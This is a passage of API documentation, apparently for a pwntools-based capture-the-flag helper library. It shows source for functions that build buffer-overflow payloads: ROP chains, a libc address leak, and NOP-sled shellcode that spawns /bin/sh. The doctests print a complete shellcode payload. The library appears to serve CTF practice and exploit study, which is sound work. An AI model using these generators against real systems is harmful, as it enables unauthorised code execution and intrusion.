    if ret2main:
        main_addr = self.resolve(ret2main)
        payload = self.ropchain({func_plt: [func_got], main_addr: []}, ret)
    else:
        payload = self.ropchain({func_plt: [func_got]}, ret)
    self.bof(payload, **kwargs)
    leak_val = upack(self.io.recv())
    self.libc.address = leak_val - self.libc.sym[func]

ret2shellcode(addr, ret=True, **kwargs)

Generate a payload to return to shellcode at the specified address.

Parameters:

Name Type Description Default
addr int

The address of the shellcode.

required
ret bool

If ropchain adds a ret before the start of the rop

True
**kwargs

Additional arguments for bof.

{}

Returns:

Name Type Description
bytes

The generated payload.

Example:

>>> ctx.offset = 128
>>> payload = ret2shellcode(0x0)
[*] Loaded 12 cached gadgets for './ch15'
[*] ROP :
    0x0000:        0x804835a ret
    0x0004:             0x25 0x25()
    0x0008:        0x804835a ret
>>> payload
b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x81\xec\x00\x10\x00\x00jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80gaabZ\x83\x04\x08%\x00\x00\x00Z\x83\x04\x08'
Source code in src/pwninit/helpers/pwncontext.py
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
def ret2shellcode(self, addr: int|str, ret=True, **kwargs):
    """
    Generate a payload to return to shellcode at the specified address.

    Args:
        addr (int): The address of the shellcode.
        ret (bool): If ropchain adds a ret before the start of the rop
        **kwargs: Additional arguments for `bof`.

    Returns:
        bytes: The generated payload.

    Example:

        >>> ctx.offset = 128
        >>> payload = ret2shellcode(0x0)
        [*] Loaded 12 cached gadgets for './ch15'
        [*] ROP :
            0x0000:        0x804835a ret
            0x0004:             0x25 0x25()
            0x0008:        0x804835a ret
        >>> payload
        b'\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x81\\xec\\x00\\x10\\x00\\x00jhh///sh/bin\\x89\\xe3h\\x01\\x01\\x01\\x01\\x814$ri\\x01\\x011\\xc9Qj\\x04Y\\x01\\xe1Q\\x89\\xe11\\xd2j\\x0bX\\xcd\\x80gaabZ\\x83\\x04\\x08%\\x00\\x00\\x00Z\\x83\\x04\\x08'
    """
    addr = self.resolve(addr)
    shellcode = asm(shellcraft.sh())
    stub = (
        asm("sub esp, 0x1000")
        if context.bits == 32
        else asm("sub rsp, 0x1000")
    )
    shellcode = stub + shellcode
    padding_len = (
        self.offset
        - context.bytes * (self.elf.canary + 1)
        - len(shellcode)
    )
    padding = asm("nop") * padding_len
    addr += len(padding) // 2
    payload = self.ropchain({addr: []}, ret)
    return self.bof(payload, opt={0: [padding, shellcode]}, **kwargs)

ret2win(win, params=None, ret=True, **kwargs)

Generate a payload to call a win function with the specified parameters.

Parameters:

Name Type Description Default
win str or int

The win function name or address.

required
params list

Arguments to pass to the win function.

None
ret bool

If ropchain adds a ret before the start of the rop

True
**kwargs

Additional arguments for bof.

{}

Returns:

Name Type Description
bytes

The generated payload.

Source code in src/pwninit/helpers/pwncontext.py
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
def ret2win(self, win, params=None, ret=True, **kwargs):
    """
    Generate a payload to call a `win` function with the specified parameters.

    Args:
        win (str or int): The `win` function name or address.
        params (list): Arguments to pass to the `win` function.
        ret (bool): If ropchain adds a ret before the start of the rop
        **kwargs: Additional arguments for `bof`.

    Returns:
        bytes: The generated payload.
    """
    if params is None:
        params = []
    addr = self.resolve(win)
    payload = self.ropchain({addr: params}, ret)
    return self.bof(payload, **kwargs)

ropchain(chain, ret=True)

Generate a ROP chain for the specified chain of function calls.

Parameters:

Name Type Description Default
chain dict

A dictionary mapping function names to their arguments.

required
ret bool

If True, add a ret gadget at the start and end of the chain.

True

Returns:

Name Type Description
bytes

The generated ROP chain.

Example:

>>> payload = ropchain({"shell": []}})
[*] ROP :
    0x0000:        0x804835a ret
    0x0004:        0x8048516 shell()
    0x0008:        0x804835a ret
>>> payload
b'Z\x83\x04\x08\x16\x85\x04\x08Z\x83\x04\x08'
Source code in src/pwninit/helpers/pwncontext.py
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
def ropchain(self, chain, ret=True):
    """
    Generate a ROP chain for the specified chain of function calls.

    Args:
        chain (dict): A dictionary mapping function names to their arguments.
        ret (bool): If True, add a `ret` gadget at the start and end of the chain.

    Returns:
        bytes: The generated ROP chain.

    Example:

        >>> payload = ropchain({"shell": []}})
        [*] ROP :
            0x0000:        0x804835a ret
            0x0004:        0x8048516 shell()
            0x0008:        0x804835a ret
        >>> payload
        b'Z\\x83\\x04\\x08\\x16\\x85\\x04\\x08Z\\x83\\x04\\x08'
    """
    elfs = []
    if self.elf and (not self.elf.pie or self.elf.address):
        elfs.append(self.elf)
    if self.libc and (not self.libc.aslr or self.libc.address):
        elfs.append(self.libc)

    rop = ROP(elfs)
    if elfs and ret:
        rop.raw(rop.ret.address)

    for func, params in chain.items():
        if isinstance(func, str) and "+" in func:
            f, off = func.split("+")
            func = self.resolve(f) + int(off)
        if not isinstance(params, dict):
            rop.call(func, params)
        else:
            for value, gadget in rop.setRegisters(params):
                if isinstance(gadget, Gadget):
                    rop.raw(gadget)
                else:
                    rop.raw(value)
            rop.call(func)

    rop.raw(rop.ret.address)
    log.info(f"ROP :\n{rop.dump()}")
    return rop.chain()